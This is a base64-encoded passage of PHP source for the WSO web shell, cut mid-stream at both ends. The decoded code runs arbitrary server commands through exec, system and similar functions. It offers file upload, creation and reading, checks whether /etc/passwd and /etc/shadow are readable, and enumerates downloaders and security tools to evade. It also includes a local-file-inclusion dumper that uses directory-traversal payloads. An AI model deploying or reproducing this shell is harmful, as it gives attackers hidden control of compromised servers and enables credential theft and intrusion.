Jy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJycuJHYuJycsbnVsbCwnJywnJywnJykiPicuJGsuJzwvYT5dPC90aD4nOyANCiAgDQogICAgJGRyaXZlcyA9ICIiOyANCiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgeyANCiAgICAgICAgZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpIA0KICAgICAgICBpZihpc19kaXIoJGRyaXZlLic6XCcpKSANCiAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzTWFuJywnJy4kZHJpdmUuJzovJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOyANCiAgICB9IA0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDwvbm9icj48YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jMDBiYjAwPjxiPk9GRjwvYj48L2ZvbnQ+JykgDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKCdQaHAnLG51bGwsJycsJ2luZm8nKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiB3c29WaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gd3NvVmlld1NpemUoJGZyZWVTcGFjZSkgLiAnICgnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyUpPGJyPicgLiAkY3dkX2xpbmtzIC4gJyAnLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKCdGaWxlc01hbicsJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICcnLCcnLCcnLCcnKSI+WyBob21lIF08L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+JyAuICRvcHRfY2hhcnNldHMgLiAnPC9vcHRncm91cD48L3NlbGVjdD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nDQogICAgICAgLiAnPHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7IA0KfSANCiAgDQpmdW5jdGlvbiB3c29Gb290ZXIoKSB7IA0KICAgICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nIzI1ZmYwMCc+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOyANCiAgICBlY2hvICIgDQogIA0KPC9kaXY+IA0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLCIiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiANCiAgICA8L3RyPjx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICANCiAgICA8L3RyPjx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiANCiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4gDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4gDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPiANCiAgICAgICAgPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPiANCiAgDQogICAgPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsgDQp9IA0KICANCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IA0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfSANCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7IA0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfSANCiAgDQpmdW5jdGlvbiB3c29FeCgkaW4pIHsgDQogICAgJG91dCA9ICcnOyANCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgDQogICAgICAgIEBleGVjKCRpbiwkb3V0KTsgDQogICAgICAgICRvdXQgPSBAam9pbigibiIsJG91dCk7IA0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBAcGFzc3RocnUoJGluKTsgDQogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBAc3lzdGVtKCRpbik7IA0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyANCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsgDQogICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgeyANCiAgICAgICAgJG91dCA9ICIiOyANCiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgDQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOyANCiAgICAgICAgcGNsb3NlKCRmKTsgDQogICAgfSANCiAgICByZXR1cm4gJG91dDsgDQp9IA0KZnVuY3Rpb24gd3NvVmlld1NpemUoJHMpIHsgDQogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkgDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsgDQogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOyANCiAgICBlbHNlaWYoJHMgPj0gMTAyNCkgDQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7IA0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsgDQp9IA0KICANCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7IA0KICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsgDQogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsgDQogICAgZWxzZSAkaSA9ICd1JzsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgDQogICAgcmV0dXJuICRpOyANCn0gDQogIA0KZnVuY3Rpb24gd3NvUGVybXNDb2xvcigkZikgeyANCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQogICAgZWxzZQ0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQp9IA0KICANCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgeyANCiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsgDQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsgDQogICAgICAgIHJldHVybiAkZmlsZXM7IA0KICAgIH0gDQp9IA0KICANCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7IA0KICAgICRwYXRoID0gd3NvRXgoJ3doaWNoICcgLiAkcCk7IA0KICAgIGlmKCFlbXB0eSgkcGF0aCkpIA0KICAgICAgICByZXR1cm4gJHBhdGg7IA0KICAgIHJldHVybiBmYWxzZTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogICAgZnVuY3Rpb24gd3NvU2VjUGFyYW0oJG4sICR2KSB7IA0KICAgICAgICAkdiA9IHRyaW0oJHYpOyANCiAgICAgICAgaWYoJHYpIHsgDQogICAgICAgICAgICBlY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsgDQogICAgICAgICAgICBpZihzdHJwb3MoJHYsICJuIikgPT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICBlY2hvICR2IC4gJzxicj4nOyANCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgDQogICAgd3NvU2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkgDQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7IA0KICAgIHdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsgDQogICAgd3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOyANCiAgICB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsgDQogICAgd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7IA0KICAgIHdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsgDQogICAgJHRlbXA9YXJyYXkoKTsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkgDQogICAgICAgICR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgDQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgDQogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkgDQogICAgICAgICR0ZW1wW10gPSAiT3JhY2xlIjsgDQogICAgd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7IA0KICAgIGVjaG8gJzxicj4nOyANCiAgDQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiL2V0Yy8iLCAicGFzc3dkIiknPlt2aWV3XTwvYT4iOidubycpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNUb29scyIsICJldGMiLCAic2hhZG93IiknPlt2aWV3XTwvYT4iOidubycpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7IA0KICAgICAgICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7IA0KICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7IA0KICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7IA0KICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7IA0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7IA0KICAgICAgICAgICAgZWNobyAnPGJyPic7IA0KICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsgDQogICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsgDQogICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSANCiAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpIA0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07IA0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSANCiAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpIA0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07IA0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgICAgICAgZWNobyAnPGJyLz4nOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOyANCiAgICAgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ09TIFZlcnNpb24nLHdzb0V4KCd2ZXInKSk7IA0KICAgICAgICB3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCmZ1bmN0aW9uIGFjdGlvbmxmaXNjYW4oKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBwcmludCAnIA0KICAgPGgzPkxlZC1aZXBwZWxpbidzIExGSSBGaWxlIGR1bXBlcjwvaDM+IA0KICANCiAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibGZpc2NhbiI+IA0KICAgICAgTEZJIFVSTDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYwIiBuYW1lPSJsZml1cmwiIHZhbHVlPSIiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPiBGaWxlOiA8c2VsZWN0IG5hbWU9InNjYW50eXBlIj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj4gDQogICAgICAgICAgICBBY2Nlc3MgTG9nIA0KICAgICAgICAgPC9vcHRpb24+IA0KICANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPiANCiAgICAgICAgICAgIGh0dHBkLmNvbmYgDQogICAgICAgICA8L29wdGlvbj4gDQogIA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+IA0KICAgICAgICAgICAgRXJyb3IgTG9nIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNCI+IA0KICAgICAgICAgICAgcGhwLmluaSANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPiANCiAgICAgICAgICAgIE15U1FMIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNiI+IA0KICAgICAgICAgICAgRlRQIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNyI+IA0KICAgICAgICAgICAgRW52aXJvbiANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgIDwvc2VsZWN0PiBOdWxsOiA8c2VsZWN0IG5hbWU9Im51bGwiPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IiUwMCI+IA0KICAgICAgICAgICAgWWVzIA0KICAgICAgICAgPC9vcHRpb24+IA0KICANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IiI+IA0KICAgICAgICAgICAgTm8gDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICA8L3NlbGVjdD4gVXNlci1BZ2VudDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjdXN0b21faGVhZGVyIiB2YWx1ZT0iIj4gDQogICA8L2Zvcm0+JzsgDQogICBlcnJvcl9yZXBvcnRpbmcoMCk7IA0KICAgICAgaWYoJF9QT1NUWydsZml1cmwnXSkgeyANCiAgICAgICAgIHByaW50ICI8cHJlPiI7IA0KICAgICAgICAgJGNoZWFkZXIgPSAkX1BPU1RbJ2N1c3RvbV9oZWFkZXInXTsgDQogICAgICAgICAkdGFyZ2V0ID0gJF9QT1NUWydsZml1cmwnXTsgDQogICAgICAgICAkdHlwZSA9ICRfUE9TVFsnc2NhbnR5cGUnXTsgDQogICAgICAgICAkYnl0ZTEgPSAkX1BPU1RbJ251bGwnXTsgDQogICAgICAgICAkbGZpdGVzdCA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIi4kYnl0ZTEuIiI7IA0KICAgICAgICAgJGxmaXRlc3QyID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Zha2UvZmlsZSIuJGJ5dGUxLiIiOyANCiAgICAgICAgICRsZmlwcm9jZW52ID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Byb2MvZW52aXJvbiIuJGJ5dGUxLiIiOyANCiAgICAgICAgICRsZmlhY2Nlc3MgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4